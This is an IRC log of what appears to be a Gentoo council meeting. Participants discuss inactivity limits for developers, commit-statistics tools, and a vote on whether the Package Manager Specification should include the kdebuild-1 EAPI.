+20:52 <    tsunam+> Philantrop: dberkholz's point, as well as the mattter of 1 commit in 60 days is 6 commits a year. How much real benefit is there in that potential?
+20:53 <NeddySeago > if the script is an undertakers aid, let undertakers set the limits so its useful to them
+20:53 <  blackace > dberkholz: code quality is pretty much impossible to solve with any blanket rule though
+20:53 < dberkholz@> anyway, more tests could be done here. for example, how many devs would this actually affect, over the course of the last year?
+20:53 <jmbsvicett > dberkholz: I think the "quality" problems should be addressed directly and not through commits - that's something for qa
+20:53 <    tsunam+> aye
+20:53 <    tsunam+> Halcyon: thoughs on the qa aspect of that?
+20:54 <Betelgeuse@> Philantrop: Rotting bugs in bugzilla?
+20:54 <Philantrop > tsunam: I say, we should take what we get. Better than nothing.
+20:54 < dberkholz@> jmbsvicetto: depends on whether there's correlation, and that's hard to say right now
+20:54 <Philantrop > Betelgeuse: And by getting rid of devs we solve that problem?
+20:54 <Betelgeuse@> Philantrop: at least they go to maintainer-wanted
+20:55 <   Halcyon > Philantrop: getting rid of them reveals the truth that we don't have people working on things.
+20:55 <Betelgeuse@> instead of the user expecting someone to act
+20:55 <Philantrop > Betelgeuse: People will expect some of us to act anyway if the package is in the tree. And they're right.
+20:55 <   Halcyon > tsunam: which part?
+20:55 <Betelgeuse@> Could also be easier to recruit new people when our developer stats are truthful.
+20:55 <    tsunam+> Betelgeuse: would you agree, that maintainer-wanted is bit-rot as well?
+20:55 <Philantrop > Halcyon: That's why I fired half of the KDE herd recently.
+20:55 <Betelgeuse@> tsunam: it is
+20:55 <    tsunam+> Halcyon: the qa with quality
+20:56 <   Halcyon > tsunam: with devs putting things into the tree that are subpar?
+20:56 <    tsunam+> Halcyon: yes as that was an issue discussed about people who seldom commit
+20:56 <   Halcyon > tsunam: we have that problem now anyway, with people that are active...
+20:57 <    tsunam+> so you consider it a non issue then as there is not a visual difference with people who commit frequently vs infrequently
+20:57 <   Halcyon > Not really.  They might be more prone to screwing up, but that's not something we can easily address.
+20:57 <    tsunam+> Well there you go
+20:58 <   Halcyon > Having easily available documentation and improving our qa tools is really the only way.
+20:58 <   Halcyon > I can't force people to read policy or documentation though.
+20:58 <    tsunam+> Its  sounding like "put this in the hands of the undertakers to decide"
+20:58 <    tsunam+> as there is no consensus
+20:58 <    tsunam+> and its up to them ultimately
+20:59 <      rane > so let's double what we have now (like musikc suggested) and see what happens
+21:00 < dberkholz@> heh, ramp it all the way up to once a month? that seems extreme to me =P
+21:01  *   tsunam has a feeling the discussion is done on the matter
+21:02 <Betelgeuse@> So what about mailing the slacker script to -core?
+21:02 < dberkholz@> tsunam: that is a consensus
+21:02 <jmbsvicett > Betelgeuse: np with that
+21:02 <    tsunam+> I'd vote no on the mailing the slacker script to core
+21:04 <    vapier@> why e-mail ?  just put it on the web
+21:04 <    vapier@> this isnt magic hidden data
+21:05 <    vapier@> anyone can calculate it
+21:05 < dberkholz@> 20:43 < dberkholz@> i think it would be neat to have a commit stats page around
+21:05 <   astinus > cia.vc?
+21:05 <   astinus > why reinvent the wheel?
+21:05 <     jokey@> astinus: way too much offline
+21:05 <     jokey@> aka not accurate
+21:05 <    tsunam+> dberkholz: like http://tsunam.org/gentoo-dev.html?
+21:06 < dberkholz@> ohloh might do it
+21:06 <    vapier@> which may eventually hit the same problem as cia
+21:06 <   ciaranm > ohloh can't handle gentoo-x86 at all until someone sends them a cvs dump of the entire repo
+21:06 < dberkholz@> tsunam: among other things. kinda like the lwn article i wrote a while back anyway
+21:06 <    vapier@> people seem to be jumping onto ohloh
+21:09 <     jokey@> other option would be we fetch cia sources and run  that page on our own servers
+21:09 <     jokey@> as the sources are public anyway
+21:09 <Betelgeuse@> vapier: The results can be a bit missleading.
+21:10 <   ciaranm > and someone would have to patch ohcount to recognise ebuilds and eclasses. which would take about ten minutes, admittedly
+21:13 <Betelgeuse@> Any way let's move on.
+21:13 < dberkholz@> ok, nobody's said anything for 3 minutes.
+21:14 < dberkholz@> we have zero conclusions so far, afaict
+21:14 <Betelgeuse@> dberkholz: I think nobody objected to undertakers setting their own limits.
+21:15 <Betelgeuse@> dberkholz: The posting to -core can be revisited after svn etc are included
+21:15 < dberkholz@> ok
+21:15 <      amne@> Betelgeuse: imho they should just do what makes sense rather than sticking to more or less useful numbers
+21:15 <     jokey@> Betelgeuse: agreed
+21:16 <      amne@> Betelgeuse: but i don't really object, too
+21:16 < dberkholz@> does anyone want to seriously look into ohloh?
+21:16 <   ciaranm > i spoke to the ohloh people about gentoo-x86 already
+21:16 <Betelgeuse@> that's 4 so we can move on
+21:16 <   ciaranm > they'd need a copy of the full cvs repo to do anything, since cvs co is too slow
+21:17 <Betelgeuse@> ciaranm: you mean operations like cvs log would be too slow?
+21:17 <   ciaranm > Betelgeuse: ohloh needs every revision ever with full logs and every file and everything
+21:17 <   ciaranm > Betelgeuse: they were getting that using cvs co, but they killed it because it was taking too long for the initial checkout
+21:18 <    tsunam+> heh
+21:18 < dberkholz@> so they get the initial dump, and then from there they could just use anoncvs?
+21:18 <   ciaranm > if someone can provide a tarball of the full repo, they can use that instead
+21:18 <    tsunam+> considering the size of it *nods*
+21:18 <   ciaranm > dberkholz: yes
+21:18 <   ciaranm > someone would also have to make ohcount recognise ebuilds. i've done stuff with ohcount before, so i could do that pretty quickly if it's going to be worthwhile
+21:19 <  dev-zero > hi everyone
+21:19 <Betelgeuse@> I can tar up the repo if everyone agrees.
+21:19 <    tsunam+> I don't see why anyone wuold disagree
+21:20 <     eroyf > hallå
+21:20 <     eroyf > er i dumme eller sådan noget?
+21:21 <     jokey@> Betelgeuse: it's open stuff anyway
+21:22 <     eroyf > hey
+21:22 <     eroyf > in the logs right
+21:22 <     eroyf > it's my birthday
+21:22 <     eroyf > say happy birthday eroyf
+21:22 <     eroyf > i'm 19 now
+21:22 <    tsunam+> eroyf: in the middle of a meeting
+21:22 <     eroyf > sorry
+21:23 <    tsunam+> what's the next order of business?
+21:23 < dberkholz@> the cool one
+21:23 < dberkholz@> Initial comments on PMS: Are there any major changes needed, or just tuning details?
+21:24 <Betelgeuse@> Hmm. I wonder if just tarring up is bad as there will be commits while it's doing it.
+21:25 < dberkholz@> ciaranm: is there a TODO around, or just looking at open pms bugs?
+21:25 <   ciaranm > dberkholz: i mailed a list to -dev@ a while ago
+21:26 < dberkholz@> ah, march 19. Subject: [gentoo-dev] Remaining PMS todo list etc
+21:26 <gentoofan2 > I probably should have mentioned to -dev that dohtml is done
+21:26 <   ciaranm > a few things on that are done now
+21:27 < dberkholz@> ciaranm: some of the features only in kdebuild-1 eapi, before they get too set in stone, will they / have they already been discussed with portage/pkgcore people?
+21:28 <   ciaranm > dberkholz: you'll have to ask the kde people for details. but as i understand it, zac has said that use deps for portage aren't ever going to happen, and the kde people have said that use deps aren't a negotiable requirement
+21:28 <   ciaranm > dberkholz: so i've no idea how that one's going to work out
+21:28 <Betelgeuse@> ciaranm: How does whether the ebuidl is interactive or not affect the PM?
+21:29 <   ciaranm > Betelgeuse: it affects parallelism... if an ebuild is interactive, a PM can't build two things at once
+21:29 <Philantrop > dberkholz: They have been presented to -dev. I've had no response from the authors of other PMs, though. So I guess they're fine with it.
+21:29 <    tsunam+> Philantrop: have you tried contacting the developers directly
+21:30 <Philantrop > tsunam: No, that's what mailinglists are for.
+21:30 <    tsunam+> I don't personally consider -dev as always the best place to get people's attention
+21:30 <Betelgeuse@> ciaranm: without I gui true but can't require that either
+21:30 <    tsunam+> Philantrop: again....it doesn't always get everyone involved. Its not hard to go "oh well shit, 130 emails to -dev, they're shite and delete the whole lot"
+21:30 <     jokey@> there's only one important thing (imho)... if those features won't make it into portage, we can't put such (k)ebuilds into gentoo-x86
+21:30 <    tsunam+> it takes an extra 2 cc's
+21:31 <   ciaranm > for the kdebuild stuff... we can flip a switch and remove it from the generated PDF for PMS if people really want. but i'd rather leave it in there, because it makes things easier for package manager authors
+21:31 < dberkholz@> it seems to be reasonably clear, thanks to the eapi tables, which features are in which eapi
+21:31 <jmbsvicett > jokey: They're only being used for live ebuilds
+21:31 <   ciaranm > whether or not kdebuild goes into the tree, and whether or not all the kdebuild features make it into EAPI 2 is a whole different topic
+21:32 < TehCaster > I thought PMS approval will only concern in-tree EAPI's and the kdebuild-1 etc while useful for some is not the subject right now?
+21:32 <Philantrop > tsunam: They've both discussed it so they obviously know it. :-)
+21:32 <Betelgeuse@> ciaranm: FEATURES userpriv checking at least could probably be switched to some UID based check
+21:32 <    tsunam+> 14:29 < Philantrop> dberkholz: They have been presented to -dev. I've had no  response from the authors of other PMs, though. So I guess  they're fine with it.
+21:32 <    tsunam+> ^^^ doesn't seem to say so
+21:32 <   ciaranm > TehCaster: i don't see there being an issue with PMS being approved with the kdebuild stuff in... doesn't mean kdebuild is legal in the tree
+21:32 <    tsunam+> in the case of standards "no answer" should not be considered a default yes
+21:32 <Philantrop > tsunam: No response by mail. They've discussed it on IRC, though.
+21:32 <   ciaranm > Betelgeuse: yeah. that one's a detail though. details can be worked out on #-dev
+21:33 < TehCaster > ciaranm: yeah so why set them to stone now as dberkholz suggested
+21:33 <   ciaranm > TehCaster: mm?
+21:33 < dberkholz@> ciaranm: anything in particular you're curious about, things you think maybe should be in there but aren't?
+21:33 <Betelgeuse@> ciaranm: But it is probably quite widely used in overlays and such that won't be fixed.
+21:33 <Philantrop > TehCaster: Because we want a *stable* EAPI.
+21:33 <    tsunam+> erm, the point is to make standards that all package mangers know and expect to have presented with
+21:34 <   ciaranm > dberkholz: i'm moderately happy with it, except for the details, just now
+21:34 <   ciaranm > tsunam: the numbered EAPIs, yes
+21:34 <    tsunam+> ciaranm: I would hope we don't have undocumented EAPI's that are not agree'd to running around
+21:35 < dberkholz@> on the big picture level, nothing really struck me in there
+21:35 <   ciaranm > my view on the kdebuild stuff is that it's more useful being in PMS than being hidden, since it's a stable EAPI. but the paludis-1 stuff shouldn't be in there, because it's not stable and not considered suitable for general use. but then, i can just flip a switch and turn the kdebuild stuff off in the PDF if people really want
+21:35 < dberkholz@> there was one spot where it wasn't clear to me that when saying ebuild, it really meant the state of the ebuild after eclasses were inherited
+21:36 <   ciaranm > dberkholz: there're probably lots of little details like that
+21:36 < TehCaster > right, stable and documented but not subject to approval of council until we are to use it in tree, that's my only point
+21:36 <Philantrop > TehCaster: Yes, that's right.
+21:37 <  ferringb > ciaranm: personally, I'd rather the kdebuild crap be out of pms- rather keep the stable/official stuff in there and not mix unofficial.  reasoning pretty much comes down to avoiding anything bleeding in from kdebuild (people make mistakes)
+21:37 <Philantrop > TehCaster: I didn't seek council approval yet for kdebuild-1 anyway. :)
+21:37 <Sweetshark > ciaranm: kdebuild stuff in pms do not matter for the decision if those are allowed in the portagetree. But a packagemanager should be pms-compliant without implementing kdebuild (for now). Would it be possible to make a clear destinction between those (maybe by making kdebuild features an optional requirement or something)
+21:38 <   ciaranm > ferringb: that's solved by having the package manager enforce EAPI. which any package manager supporting kdebuild is required to do anyway
+21:38 <    tsunam+> If its in the PMS then its part of what is expected behavior
+21:38 < dberkholz@> should /etc/portage/ be involved in any way?
+21:38 <Betelgeuse@> dberkholz: why?
+21:38 <   ciaranm > Sweetshark: that's easily done by habing a list of which EAPIs are required and optional for gentoo-x86. probably outside of PMS
+21:38 <   ciaranm > dberkholz: no
+21:38 <  ferringb > ciaranm: eh?  I'm talking about the document itself
+21:38 <    tsunam+> you can't have a moving EAPI table
+21:39 <    tsunam+> the point of EAPI's is to ensure universal support
+21:39 <   ciaranm > dberkholz: user configuration really shouldn't be in there...
+21:39 <     eroyf > s
+21:39 < TehCaster > btw zmedico just said use deps in portage are rather close, not "never going to happen"
+21:39 <    tsunam+> IF kdebuild is not fully confident by all..then it should not be part of it
+21:39 <Betelgeuse@> TehCaster: indefinately under work :D
+21:39 <   ciaranm > tsunam: EAPI 1 isn't supported by everything. should it not be in there either?
+21:39 <   Halcyon > tsunam: its not to ensure universal support, but to ensure feature sets are defined.
+21:39 <    tsunam+> ciaranm: Personally, I would say no. However, we're stuck with it at this point =)
+21:40 <   zmedico > Betelgeuse: I think they are getting very close to possible about now
+21:40 <   ciaranm > TehCaster: he's also said that every time someone asks for them he's going to delay them for six months...
+21:40 <Betelgeuse@> zmedico: Heh I remember you saying doing them duringdoing summer 07
+21:41 <Betelgeuse@> zmedico: But great to hear that progress is happening on that front
+21:41 <   zmedico > well, it's much closer now than before
+21:41 <   ciaranm > tsunam: looking at it the other way... what gain do you see from not having kdebuild documented in the same place as the core EAPIs?
+21:41 <Betelgeuse@> Discussing kdebuild is a bit OT imho as it can easily be turned off.
+21:41 <   ciaranm > what Betelgeuse said
+21:42 <    tsunam+> ciaranm: I see that we have an EAPI=0 and EAPI=1 that might be considered finalized sooner, rather then 20 revisions later..that look nothing like the current revisions
+21:42 <   ciaranm > tsunam: huh?
+21:42 < dberkholz@> ferringb, zmedico -- you guys got thoughts on the matter?
+21:42 <     jokey@> mmm personally with the option for improvements and eapi0 and 1 in it, I'm willing to accept it
+21:43 <   ciaranm > jokey: it's not ready for being accepted
+21:43 <     jokey@> ciaranm: that's why I'm saying "with the option for improvements"
+21:44 <Betelgeuse@> I would rather accept it when there aren't any known issues.
+21:44 <    tsunam+> jokey: shouldn't be a option to improve really, should be new eapi's that might modify existing ones or other aspects in the future
+21:44 <     solar > You might want to chime on on the dont use -r0 ever
+21:44 <   zmedico > dberkholz: I'm not sure what's at stake right now. can you fill me in? are you deciding something?
+21:45 <Betelgeuse@> tsunam: Well it's quite likely to find corner cases later.
+21:45 <    tsunam+> Betelgeuse: aye, that's always a case
+21:45 < dberkholz@> zmedico: 21:23 < dberkholz@> Initial comments on PMS: Are there any major changes  needed, or just tuning details?
+21:45 <   zmedico > thanks
+21:45 <    tsunam+> Betelgeuse: no code or standard will be 100% complete for all cases
+21:45 <    tsunam+> Betelgeuse: however future issues can be handled at that time
+21:45 <Sweetshark > ciaranm: its just harder to see which paragraphs can be skipped for the most basic pms-compliant implementation. If it wouldnt be so much work, I would think it would be better to have that stuff as an appendix. after being baisc pms-compliant one can look there how to support kdebuild etc ... just an opinion though.
+21:46 <   ciaranm > Sweetshark: how is it hard?
+21:46 <    tsunam+> Sweetshark: at that point, its fully part of the "standards"
+21:46 <bonsaikitt > optional and non-optional bits mixed in the text
+21:46 <  ferringb > dberkholz: don't believe kdebuild belongs in there for the reasons I mentioned above; there are a couple of loose spots in it that need correction (recent package.use for example, iirc portage now allows inline comments but isn't documented in PMS)
+21:46 <  ferringb > dberkholz: would have to review it fully again, which is kind of hard considering I can't even get the damn thing to generate properly anyways ;)
+21:47 < TehCaster > package.use is config, is that in pms?
+21:47 <      zlin > tsunam: new eapi's cannot modify existing eapi's once it's stable and accepted
+21:47 <Betelgeuse@> zlin: You would have to clarify what you mean by that.
+21:47 <Betelgeuse@> zlin: Later EAPIs can change the behaviour defined in earlier ones.
+21:48 <  arkanoid > no, they can override it
+21:48 <      zlin > they can do something different. they cannot change what the existing eapi should do.
+21:48 < dberkholz@> i think we're all saying the same thing
+21:48 <   ciaranm > what everyone's clumsily trying to say is that future EAPIs can do things differently to current EAPIs, but can't change what current EAPIs do
+21:48 < dberkholz@> the earlier eapi remains what it was, the later eapi may have different behavior
+21:49 <    tsunam+> ^^^
+21:49 < TehCaster > which is something different than correcting a glitch in the spec
+21:50 <Sweetshark > ciaranm: there would be some need for tearing stuff apart (e.g. dep ranges into the appendix). its hard to judge the amount of work for that (at least for me)
+21:50 <   ciaranm > Sweetshark: the paragraph's already indicated as not being available in all EAPIs
+21:50 <Philantrop > Sweetshark: You know that you can just turn the kdebuild stuff off when "compiling" PMS, right?
+21:51 <   ciaranm > it gets a lot harder to read if you start splitting up things like dep specs into different areas depending upon EAPI
+21:51 <    tsunam+> also...the 2.2 section and 2.3 section seems to include -scm related materials. I thought that had been pushed back?
+21:51 <   ciaranm > tsunam: kdebuild requires it
+21:51 <Sweetshark > only if you plan to implement all eapis frontup
+21:51 <    tsunam+> ciaranm: ah
+21:51 <   ciaranm > tsunam: it should say that it's EAPI dependent
+21:52 <   ciaranm > if it doesn't it's easily changed
+21:52 <    tsunam+> don't see it being said in there but I'm looking over the section closer
+21:52 <  ferringb > mmm.  metadata/cache segment still is missing mtime
+21:53 <      zlin > use deps and -scm were the most important requirements for kdebuilds
+21:53 <   ciaranm > ferringb: we weren't discussing details
+21:53 < TehCaster > just generate pms without kdebuild and then discuss :)
+21:53 <  ferringb > what are discussing then?  whether it's ready to go or not?  If so, then details matter
+21:53 <   ciaranm > ferringb: no. please stick to the agenda.
+21:53 <  ferringb > *what are we, pardon multitasking and failing and all tasks ;)
+21:54 <   ciaranm > i was really hoping to avoid the exact thing you're doing here, and i phrased the request very specifically for that reason
+21:54 <       spb > the agenda item was "are major changes needed, or just refinement of the details?"
+21:54 <  ferringb > spb: thank you.
+21:54 <       spb > as such, the details are irrelevant
+21:54 <bonsaikitt > I would ask for a general cleanup of the language, it's overly complicated and ambiguous in places
+21:54 <Betelgeuse@> I think we can just say it's the latter and conclude.
+21:54 <    tsunam+> I would say yes to changes needed without the kdebuild
+21:54 <   ciaranm > bonsaikitten: more specifically?
+21:54 <  ferringb > tsunam: that's my opinion.
+21:54 <Betelgeuse@> And move the discussion of details to gentoo-dev.
+21:54 <bonsaikitt > ciaranm: double negations, overly long sentences, ...
+21:54 <   ciaranm > bonsaikitten: more specifically?
+21:55 <   Halcyon > bonsaikitten: file bugs where you don't find it to be clear.
+21:55 <  blackace > ciaranm: you just said you didn't want to discuss details...
+21:55 <Betelgeuse@> ciaranm: ^
+21:55 <bonsaikitt > ciaranm: details are irrelevant here, I'll file bugs as soon as I have it cleaned up enough
+21:55 <   ciaranm > blackace: yes. i'm assuming that bonsaikitten is making a general comment here, rather than discussing details, so i want to know what he's on about
+21:55 <   ciaranm > if bonsaikitten thinks major wording changes are needed, i want to know where and why
+21:56 <  blackace > which would be details
+21:56 <Betelgeuse@> blackace: let's not argue that point now
+21:56 <Betelgeuse@> Point noted and let's move on.
+21:56 <   ciaranm > blackace: but since bonsaikitten brought the issue up after we said "no details", i'm assuming there's a major issue to discuss, and i need to know what he means
+21:56 <  blackace > ciaranm: as Betelgeuse said, let's move on.
+21:56 <      amne@> yupp
+21:57 <   ciaranm > well, i'd like to hear from bonsaikitten... does he think there's a major issue, or is it just a details thing?
+21:57 <  blackace > ciaranm: <bonsaikitten > ciaranm: details are irrelevant here, I'll file bugs as soon as I have it cleaned up enough
+21:57 <   ciaranm > if there's a lot of wording change needed, that's the kind of thing i need to know now
+21:57 <  blackace > now let's move on.
+21:57 < TehCaster > is there anything left?
+21:58 <Betelgeuse@> TehCaster: open floor
+21:58 <   ciaranm > i would kinda like to know which way the council is going to go with the kdebuild stuff... because if there's no objection to stay in, i can remove a load of the conditionals and make the source a bit easier to work with
+21:59 <   ciaranm > but if it's going to be one of those things that takes ages to decide, i'll just leave it as a conditional and submit both PDFs when it's ready
+21:59 <Betelgeuse@> I say to keep the conditionals.
+21:59 <Betelgeuse@> If it starts to get unmaintainable, we can reconsider.
+22:00 <Sweetshark > ciaranm: i think bonsaikitten means there are quite some little fixes to be done, none serious in itself, but in sum there is still some work to do.
+22:00 <       spb > Sweetshark: which would be "details"
+22:00 <   ciaranm > Sweetshark: so he just said what we all already know and agreed not to discuss?
+22:00 <Philantrop > ciaranm: Let it go. It's bonsaikitten. It can only be nonsense.
+22:00 <     eroyf > haha.
+22:00 < dberkholz@> i don't really care one way or the other about inclusion of not-yet-approved eapis
+22:00 <Betelgeuse@> Philantrop: useless comment
+22:01 <      amne@> ok folks keep it civil please
+22:01 < dberkholz@> it might be kinda nice to have a doc that was just approved ones
+22:01 <   ciaranm > dberkholz: would it really make things easier for anyone to have that?
+22:01 <      igli > some rationale would be useful
+22:01 <      igli > and a tighter spec
+22:02 <    tsunam+> ciaranm: I believe so
+22:02 < dberkholz@> ciaranm: learning ebuild authors, perhaps
+22:02 <Betelgeuse@> ciaranm: How easy would it be to change for example background color with kdebuild?
+22:02 <   ciaranm > dberkholz: learning ebuild authors shouldn't be touching PMS
+22:02 <  blackace > I would like to ask the council for the status of the complaint filed against Philantrop, has the council discussed it and will it be on the next meeting's agenda?
+22:02 < dberkholz@> ciaranm: people hoping to learn from it, i guess is what i'm saying
+22:02 <    tsunam+> ciaranm: as people could easily confuse a section for approved when its still in the working stage
+22:02 <   ciaranm > Betelgeuse: dunno. we were trying to do a nice cute sidebar colour, but opfer failed us and none of the rest of us know how to get that
+22:02 <Philantrop > blackace: Oh, a complaint? Would have been nice to have known it exists. :-)
+22:02 <     eroyf > a complaint against Philantrop?
+22:03 <   ciaranm > dberkholz: mm, our target audience already knows what the different EAPIs are
+22:03 <   ciaranm > tsunam: every EAPI documented in PMS is 'final', in that the only thing that'll change are spec screwups
+22:03 <Betelgeuse@> dberkholz: Why weren't the complaints included in the agenda btw?
+22:04 <    tsunam+> ciaranm: as far as I'm aware, EAPI=0 and EAPI=1 are both considered "drafts" that are just in full production use
+22:04 <    tsunam+> approved for use by council
+22:04 <   ciaranm > tsunam: 0 and 1 are supposed to be feature locked now
+22:04 < TehCaster > being able to leave it out makes it easier to read for people not involved with implementing it in PM nor writing ebuilds for it
+22:04 <   ciaranm > tsunam: 0 was supposed to have been locked as soon as portage supported EAPI
+22:04 <   ciaranm > TehCaster: does it really?
+22:05 <    tsunam+> ciaranm: was suppossed bothers me =)
+22:05 <   Halcyon > This is a details thing guys, if you want to argue the merits either way, take it to g-dev@
+22:05 <   ciaranm > i suppose what i'm saying is that i don't see how having it there hurts anyone, and i do see how having it there helps
+22:05 < TehCaster > ok, for me, if for others that's up to voting I guess
+22:05 <Sweetshark > ciaranm: it would make it easier for me to read the basics for example. so there is a gain. An document with kdebuild included can still exist, however it shouldnt be the official or "default" doc as long as those are not even used in the official tree.
+22:05 <    tsunam+> ciaranm: its a doc we're saying is approved, having it there...in essence says "its approved in this form"
+22:06 <   ciaranm > Sweetshark: PMS contains no basics
+22:07 <      igli > the fundamentals then
+22:07 -!- TehCaster is now known as Caster
+22:07 <Sweetshark > ciaranm: pms should contain everthing i need to know for implementing a package manager handling offical gentoo ebuild.
+22:07 <   ciaranm > there aren't any parts of PMS that aren't fundamental
+22:07 <bonsaikitt > *sigh*
+22:08 < dberkholz@> we don't seem to be making progress toward the one point ciaranm wanted a decision on
+22:08 < dberkholz@> could we get back to that
+22:08 <    Caster > just continue the vote :)
+22:09 < dberkholz@> i'm fine with kdebuild being in the pms
+22:09 <      igli > have the GLEPs been agreed?
+22:09 <    tsunam+> igli: 46 yes
+22:09 < dberkholz@> glep 46 was much earlier in the agenda, and yes it was approved
+22:09 <      igli > k thanks
+22:10 <    Caster > dberkholz: more specific it was about being able to build pms without it or removing the conditionals
+22:11 < dberkholz@> that's sort of a halfway decision to the real point, we could settle for "leave conditionals" if we can't agree that kdebuild-1 should stay in
+22:11 <   ciaranm > yeah, specifically the questions are a) whether anyone thinks anything's majorly wrong, and b) whether i can remove the conditionals on kdebuild or whether the council would rather i left them in so that that issue can be decided later on
+22:11 <      igli > well can we take the scm stuff out then? it makes the names thing hard to read and conflicts with existing impl (even if you don't use conditional bit)
+22:11 <    tsunam+> ciaranm: I would say leave the conditionals in unfortunately
+22:11 <   ciaranm > igli: scm is conditional on kdebuild, and required by kdebuild
+22:12 <      igli > yeah but cvs is undocumented and it's been part of existing impl for over 2 years as well as an alternative impl
+22:12 <    Caster > ciaranm: am I wrong thinking that if you wanted to distinguish it by color you would have to mark it somehow anyway which is not that different from conditionals?
+22:12 <Betelgeuse@> ciaranm: a) no b) no
+22:12 <   ciaranm > igli: the cvs stuff is currently considered to be in the same category as ( ) : ( ) deps
+22:12 <    tsunam+> Caster: be slightly different but
+22:12 <    tsunam+> Caster: same basics yes
+22:13 <   ciaranm > Caster: it's different in that the latex is less messy to just do the latter
+22:13 <    Caster > maintenance-wise
+22:13 <   ciaranm > latex buggers up spacing if you do conditional sentences
+22:13 <   ciaranm > stopping it from doing that is moderately not fun
+22:13 <   ciaranm > essentially, it treats a not taken conditional as a word or a paragraph unless you use some scary voodoo to stop it
+22:14 <    Caster > mmm thought it was better than that :)
+22:14 <    Caster > preprocess? :)
+22:14 <   ciaranm > was trying to avoid that too
+22:15 <   ciaranm > basically, any way we have of doing conditionals is a bit icky. not massively icky, but icky enough that it makes my life easier if the council decides that nuking the conditionals is fine
+22:16 <    tsunam+> ciaranm: I don't see an issue if say...items not yet solitified are for instance red...
+22:16 <    tsunam+> that's me personally
+22:16 < dberkholz@> ok. maybe we can do two binary votes to make this a little easier
+22:16 <   ciaranm > dberkholz: please
+22:17 < dberkholz@> since the kdebuild thing seems to be a 3-way choice
+22:17 < dberkholz@> 1. are you ok with kdebuild-1 and other unapproved eapi's being in pms?
+22:17 <    tsunam+> 1) no
+22:17 <     solar > no
+22:18 <NeddySeago > You will approve the document - unapproved stuff must be removed
+22:18 < dberkholz@> amne, Betelgeuse, vapier, jokey: time to wake up =)
+22:19 <      amne@> dberkholz: was just asking if this still an official vote since it's open floor
+22:19  *    jokey is awake and reading
+22:19 <Betelgeuse@> NeddySeagoon: Already voted.
+22:19 <Betelgeuse@> 01:12 <@Betelgeuse> ciaranm: a) no b) no
+22:19 <      amne@> dberkholz: no
+22:19 < dberkholz@> amne: i'd say so
+22:20 < dberkholz@> alright. that's a no from tsunam, Betelgeuse, and amne on inclusion of kdebuild-1 in the spec to approve
+22:21 <Betelgeuse@> dberkholz: Well I didn't vote on the inclusion.
+22:21 <Betelgeuse@> dberkholz: I voted on whether to remove the conditionals.
+22:21 <     jokey@> add a no from me for kdebuild incluseion, dberkholz
+22:21 <     jokey@> *inclusion even
+22:22 < dberkholz@> Betelgeuse: ok, then vote on this
+22:22 <Betelgeuse@> dberkholz: no
+22:22 < dberkholz@> righto.
+22:22 < dberkholz@> ciaranm: you've got your answer. gotta keep the conditionals, it seems
+22:23 <   ciaranm > ok
+22:23 <    tsunam+> dberkholz: well not entirely
+22:23 <     solar > seems like you just asked ppl to vote on "kdebuild-1 and other unapproved eapi's being in pms" then changed it to keeping conditionals
+22:24 < dberkholz@> that's the way the logic works in my head
+22:24 < dberkholz@> if they're to be in a draft state, and removed when we vote, they must be conditional
+22:24 <    vapier@> pms is only approved stuff
+22:25 <    vapier@> if it isnt approved, then it's a proposal, and thus not part of pms
+22:25 <    vapier@> seems pretty straight forward to me
+22:25 <     solar > exactly
+22:25 <   ciaranm > the kde people consider kdebuild-1 to be final. as in, not a proposal.
+22:25 <    tsunam+> vapier: exactly =)
+22:25 <    tsunam+> ciaranm: kde is not the concil
+22:25 <    tsunam+> council*
+22:26 <    vapier@> if you want to write stuff in the overlay that uses things that arent in the pms, then whatever, that's your business
+22:26 <    vapier@> but it obviously cant go into the tree
+22:26 -!- billie80 is now known as billie
+22:26 <    Ingmar > We don't have any such plans either..
+22:27 <   ciaranm > is there any reason kdebuild can't just be kept in the official document but clearly indicated in the big master EAPI table at the start as "Only for use in overlays where the overlay owner has approved its use"?
+22:27 <   ciaranm > rather than switching it off entirely for the official version?
+22:27 <    vapier@> a spec is not a dumping ground for unofficial pieces or proposals
+22:28 <      zlin > it's not a proposal. it's a spec for something that won't be used in gentoo-x86.
+22:28 <     solar > putting anything in there that is not targeted at being official sets a bad precedent I'd think.
+22:28 <Philantrop > vapier: It is a spec for kdebuild-1. It's not a proposal but final.
+22:28 <Betelgeuse@> ciaranm: As it's rendered now it's not clear where the conditionals go so it's better turned off.
+22:28 <    vapier@> then maintain it with your overlay
+22:28 <Betelgeuse@> ciaranm: But if the borders are clearer I will reconsider.
+22:28 <    vapier@> pms covers the tree
+22:28 <    vapier@> not random overlays
+22:28 <   ciaranm > Betelgeuse: mm, how is it not clear which bits are EAPI specific?
+22:29 <Philantrop > vapier: Oh, I thought PMS covers the Package Manager Specification, not the tree...
+22:29 <      igli >   
+22:29 <   ciaranm > the EAPI specific stuff is something we want to have done clearly anyway, kdebuild or not
+22:29 <  blackace > obviously, the reason is that it's confusing
+22:29 <   ciaranm > blackace: confusing how, specifically?
+22:29 <    tsunam+> Philantrop: do you disagree that currently gentoo-x86 is the main repository?
+22:29 <    Caster > Philantrop: next it can cover rpm's!
+22:29 <  blackace > ciaranm: see above for examples
+22:29 <    vapier@> the pms was born of the tree
+22:29 <Philantrop > tsunam: Nope.
+22:29 <   ciaranm > i was under the impression that EAPI specific stuff was all marked as EAPI specific
+22:30 <bonsaikitt > if it's not approved, why should it be in PMS at all?
+22:30 <   ciaranm > blackace: well, where isn't it clear what's EAPI specific?
+22:30 <Philantrop > Is there a problem with keeping it in *with* the conditionals?
+22:30 <      amne@> if it's in PMS, every PM should support it, right? so should every PM support kdebuild?
+22:30 <       spb > if it's in PMS, then PMS defines what it is
+22:31 <   ciaranm > Philantrop: it's staying in. the question is whether i can remove the conditionals or not
+22:31 <NeddySeago > Philantrop Do you need the council to approve  kdebuild-1 ?  If not, it should not be in PMS
+22:31 <       spb > if it's on the council's list of supported and allowed EAPIs for gentoo, then any package manager that supports gentoo must support it
+22:31 <    vapier@> if it isnt, then it doesnt belong in pms
+22:31 <       spb > the one does not necessarily imply the other
+22:32 <      igli > i think the answer to the conditional question was given 20 minutes ago
+22:32 <    tsunam+> spb: of course it does!
+22:32 < dberkholz@> are we all defining pms the same way yet?
+22:32 <      igli > or maybe it just felt like 20
+22:32 <Sweetshark > Philantrop: not if the vote is for the rendered pdf without kdebuilds ;-)
+22:32 <    tsunam+> Good lord guys
+22:32 <    Caster > this is ridiculous, and it was voted already so why keep this on
+22:32 < dberkholz@> pms == the approved copy, not the git repository where work happens
+22:33 <    tsunam+> PMS is approved copy of what is APPROVED for the Package Managers, and because of it the TREE
+22:33 <  blackace > pms should be approved or disapproved in it's entirety
+22:33 <    tsunam+> bingo!
